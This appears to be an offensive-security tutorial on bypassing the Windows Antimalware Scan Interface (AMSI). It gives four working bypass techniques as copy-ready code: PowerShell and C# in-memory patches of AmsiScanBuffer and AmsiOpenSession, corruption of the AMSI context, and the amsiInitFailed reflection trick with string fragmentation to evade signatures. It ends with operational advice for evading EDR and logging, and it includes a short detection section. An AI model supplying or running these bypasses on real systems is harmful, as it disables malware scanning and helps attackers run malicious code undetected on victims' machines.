AMSI Bypass - Neutralizing the Microsoft Antimalware Scan Interface

Overview

The Antimalware Scan Interface (AMSI) is one of the most pervasive defensive layers in modern Windows environments. Introduced in Windows 10 and Server 2016, it was designed to expose runtime script content to any antimalware product registered on the system — including Windows Defender.

Unlike traditional file-based AV that operates on disk artifacts, AMSI works in memory, intercepting content buffers before the interpreter executes them. This directly affects PowerShell, VBScript, JScript, WMI, and any application that implements the AMSI API.

For an offensive operator, understanding the internals of AMSI is a prerequisite for any activity involving dynamically loaded scripts or shellcode.

---

How AMSI Works Internally

The AMSI scanning flow passes through a well-defined sequence of components:

┌─────────────────────────────────────────────────────────────────┐
│                     AMSI Flow — Overview                        │
│                                                                 │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────────┐  │
│  │  Interpreter │───▶│  amsi.dll    │───▶│  AV Provider     │  │
│  │  (PowerShell,│    │  (AmsiScan   │    │  (Defender,      │  │
│  │   JScript...)│    │   Buffer)    │    │   CrowdStrike..) │  │
│  └──────────────┘    └──────────────┘    └──────────────────┘  │
│         │                   │                     │             │
│         │                   ▼                     ▼             │
│         │          ┌──────────────┐    ┌──────────────────┐    │
│         │          │  AMSI_RESULT │    │  AMSI_RESULT_    │    │
│         │          │  _CLEAN (1)  │    │  DETECTED (32768)│    │
│         │          └──────────────┘    └──────────────────┘    │
│         │                   │                                   │
│         └───────────────────▶ Execution allowed / blocked       │
└─────────────────────────────────────────────────────────────────┘

When a script is invoked, the interpreter calls AmsiInitialize() to create a session context (HAMSI), then AmsiOpenSession() to open a session, and then AmsiScanBuffer() to submit the content to the provider. The return value is an AMSI_RESULT that determines whether execution continues.

The library amsi.dll is loaded into the same address space as the host process. This is simultaneously its strength and its principal weakness: it operates in userland, inside a process that an attacker can control.

---

Technique 1: AmsiScanBuffer Patch via Reflection (PowerShell)

This is the most well-known technique. It documents how to exploit direct memory access within the process via .NET reflection to corrupt the AmsiScanBuffer function at runtime.

Principle

The AmsiScanBuffer function in amsi.dll has a predictable prologue in its first bytes:

; AmsiScanBuffer prologue (x64)
48 8B C4          ; mov rax, rsp
48 89 58 08       ; mov [rax+8], rbx
48 89 70 10       ; mov [rax+10h], rsi

If we replace the first bytes with a sequence that forces an immediate return with AMSI_RESULT_CLEAN (value 1), all subsequent calls are ignored by the AV provider.

The Patch

function Invoke-AmsiBypass {
    [CmdletBinding()]
    param()

    # Reflection to access internal types and methods without triggering AMSI
    $Win32 = @"
    using System;
    using System.Runtime.InteropServices;
    public class Win32 {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
"@

    Add-Type $Win32

    # Load amsi.dll and resolve the address of AmsiScanBuffer
    $lib     = [Win32]::LoadLibrary("amsi.dll")
    $addr    = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")

    # Patch bytes: mov eax, 0x80070057 ; ret
    # 0x80070057 = E_INVALIDARG — forces return without actual scan
    $patch   = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

    $oldProt = 0
    [Win32]::VirtualProtect($addr, [UIntPtr]5, 0x40, [ref]$oldProt) | Out-Null

    $marshal = [System.Runtime.InteropServices.Marshal]
    $marshal::Copy($patch, 0, $addr, $patch.Length)

    # Restore original protection (optional — increases stealth)
    [Win32]::VirtualProtect($addr, [UIntPtr]5, $oldProt, [ref]0) | Out-Null

    Write-Output "[+] AmsiScanBuffer patched successfully."
}

Why E_INVALIDARG? The return value 0x80070057 is a Windows error constant indicating an invalid argument. When AmsiScanBuffer returns this code, the interpreter treats it as an inconclusive result and continues execution without calling the AV provider. This is less suspicious in logs than returning AMSI_RESULT_CLEAN directly.

---

Technique 2: Patch via Context Pointer (AmsiContext Corruption)

This technique exploits a characteristic of the AMSI_CONTEXT object: it stores an 8-byte header starting with the string AMSI. If we corrupt that value, the AMSI library treats the context as invalid and returns AMSI_RESULT_CLEAN directly.

using System;
using System.Reflection;
using System.Runtime.InteropServices;

public class AmsiContextBypass
{
    public static bool Patch()
    {
        // Access the current runspace session via internal reflection
        var ams = typeof(System.Management.Automation.AmsiUtils);
        var field = ams.GetField("amsiContext",
            BindingFlags.NonPublic | BindingFlags.Static);

        if (field == null) return false;

        var ctx = field.GetValue(null);
        if (ctx == null) return false;

        // Convert to IntPtr and zero out the first 4 bytes (magic "AMSI")
        var ptr  = (IntPtr)ctx;
        Marshal.WriteInt32(ptr, 0);  // Zeroes the header — invalid context

        return true;
    }
}

Technique Comparison

┌─────────────────────────────┬──────────────────────┬────────────────────────┐
│ Technique                   │ Where it acts        │ Detectability          │
├─────────────────────────────┼──────────────────────┼────────────────────────┤
│ AmsiScanBuffer patch        │ Function code        │ High (ETW, hooks)      │
│ AmsiContext corruption      │ Data structure       │ Medium                 │
│ AmsiOpenSession patch       │ Session opening      │ Medium                 │
│ DLL hijacking (amsi)        │ Loader               │ Low (per process)      │
└─────────────────────────────┴──────────────────────┴────────────────────────┘

---

Technique 3: AmsiOpenSession Patch

AmsiOpenSession is called before AmsiScanBuffer. If we patch it to return E_ACCESSDENIED, the session is never created and scanning never occurs.

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
    uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr LoadLibrary(string lpFileName);

static void PatchAmsiOpenSession()
{
    IntPtr lib  = LoadLibrary("amsi.dll");
    IntPtr addr = GetProcAddress(lib, "AmsiOpenSession");

    // Patch: xor eax, eax; ret (returns 0 — no session created)
    byte[] patch = { 0x31, 0xC0, 0xC3 };

    uint old = 0;
    VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old);
    Marshal.Copy(patch, 0, addr, patch.Length);
    VirtualProtect(addr, (UIntPtr)patch.Length, old, out _);
}

---

Technique 4: Forcing Failure via Private Field Reflection

PowerShell maintains an instance of System.Management.Automation.AmsiUtils with fields that control whether AMSI is active. One of the least invasive approaches is forcing the amsiInitFailed field to true:

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null, $true)

When amsiInitFailed is true, PowerShell skips all AMSI initialization in subsequent calls. This is one of the oldest techniques and also the most heavily signatured by modern providers — any literal variation is detected. Real operators use string fragmentation and concatenation to avoid the signature:

# Fragmentation to avoid static signature
$x = 'amsi'+'Init'+'Failed'
$f = $a.GetField($x, 'NonPublic,Static')
$f.SetValue($null, $true)

---

Detection and Countermeasures

From the defensive perspective, detection mechanisms for AMSI bypasses include:

• ETW (Event Tracing for Windows): Providers such as Microsoft-Antimalware-Scan-Interface and Microsoft-Windows-PowerShell emit events when AMSI is initialized and when scans occur. The absence of scan events after a session is initiated is anomalous.

• Kernel Patch Protection (KPP / PatchGuard): Does not apply to userland, but modern EDRs install kernel callbacks to detect modification of pages marked as executable in system DLLs.

• Script Block Logging (Event ID 4104): Independent of AMSI, PowerShell logs script blocks via ETW before the bypass is applied — if the bypass is loaded from a file, the file itself may be logged.

• Memory scanning: Tools like pe-sieve or EDR callbacks monitor writes to memory regions of system modules.

┌──────────────────────────────────────────────────────────────────┐
│              Detection Surface per Technique                     │
│                                                                  │
│  AmsiScanBuffer patch ──────▶ ETW + EDR hook + memory scan      │
│  AmsiContext corruption ────▶ ETW (absence of events)           │
│  amsiInitFailed reflection ─▶ Script Block Log + AMSI signature │
│  AmsiOpenSession patch ─────▶ ETW + hook in ntdll               │
└──────────────────────────────────────────────────────────────────┘

---

Operational Considerations

In real engagements, the technique choice depends on the environment:

1. PowerShell Constrained Language Mode (CLM): Reflection is blocked. Patches via DLL hijacking or compiled C/C++ loaders are preferable.

2. EDRs with userland hooks: VirtualProtect on amsi.dll regions may trigger callbacks. Techniques operating via direct syscalls reduce this exposure.

3. Script Block Logging enabled: The bypass must be loaded before any malicious content enters the PowerShell pipeline — or the bypass itself will be the only artifact logged.

4. AMSI in CLR (.NET): AMSI also operates on dynamically loaded .NET assemblies. Patches to amsi.dll cover both scenarios, but loaders that never call Assembly.Load in the CLR avoid that surface entirely.

---

References

• Matt Graeber, "Bypassing AMSI" (2016) — original bypass research via reflection

• Cybereason Labs, "AMSI: How Windows 10 Plans to Stop Script-Based Attacks" (2016)

• Microsoft Docs, "Antimalware Scan Interface (AMSI)" — docs.microsoft.com/en-us/windows/win32/amsi/

• ired.team, "Bypass AMSI by Patching AmsiScanBuffer" — ired.team/offensive-security/defense-evasion/

• Daniel Duggan (RastaMouse), "AmsiScanBuffer Bypass" — rastamouse.me

• Paul Laîné, "A Deep Dive Into AMSI" — SANS Institute Reading Room

• Elastic Security Labs, "Hunting for AMSI Bypass Techniques" (2023)